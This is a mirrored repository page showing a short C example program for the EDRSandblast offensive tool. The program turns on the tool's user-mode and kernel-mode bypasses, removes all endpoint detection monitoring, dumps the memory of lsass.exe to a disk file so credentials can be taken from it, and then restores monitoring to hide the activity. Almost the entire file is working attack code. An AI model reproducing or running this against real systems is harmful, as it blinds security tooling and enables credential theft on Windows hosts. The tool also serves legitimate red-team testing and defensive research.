mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-11 09:51:18 +00:00
48a75a7029
Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
32 lines
1.0 KiB
C
32 lines
1.0 KiB
C
#include "../EDRSandblast_StaticLibrary/EDRSandblast_API.h"
|
|
#include <stdio.h>
|
|
|
|
#pragma comment(lib, "Dbghelp.lib")
|
|
#pragma comment(lib, "Version.lib")
|
|
#pragma comment(lib, "Winhttp.lib")
|
|
#pragma comment(lib, "EDRSandblast_Core.lib")
|
|
#pragma comment(lib, "EDRSandblast_StaticLibrary.lib")
|
|
#pragma comment(lib, "Pathcch.lib")
|
|
#pragma comment(lib, "Shlwapi.lib")
|
|
|
|
|
|
int main()
|
|
{
|
|
EDRSB_CONTEXT ctx = { 0 };
|
|
EDRSB_CONFIG cfg = { 0 };
|
|
cfg.bypassMode.Usermode = TRUE;
|
|
cfg.bypassMode.Krnlmode = TRUE;
|
|
cfg.offsetRetrievalMethod.Internet = TRUE;
|
|
cfg.offsetRetrievalMethod.File = TRUE;
|
|
|
|
EDRSB_STATUS status;
|
|
if (status = EDRSB_Init(&ctx, &cfg) != EDRSB_SUCCESS) {
|
|
printf("EDRSB_Init: %u", status);
|
|
}
|
|
Usermode_RemoveAllMonitoring(&ctx, Find_and_use_existing_trampoline);
|
|
Krnlmode_RemoveAllMonitoring(&ctx);
|
|
Action_DumpProcessByName(&ctx, L"lsass.exe", L"C:\\no_scan\\tmp\\tmp.tmp", Find_and_use_existing_trampoline);
|
|
Krnlmode_RestoreAllMonitoring(&ctx);
|
|
EDRSB_CleanUp(&ctx);
|
|
}
|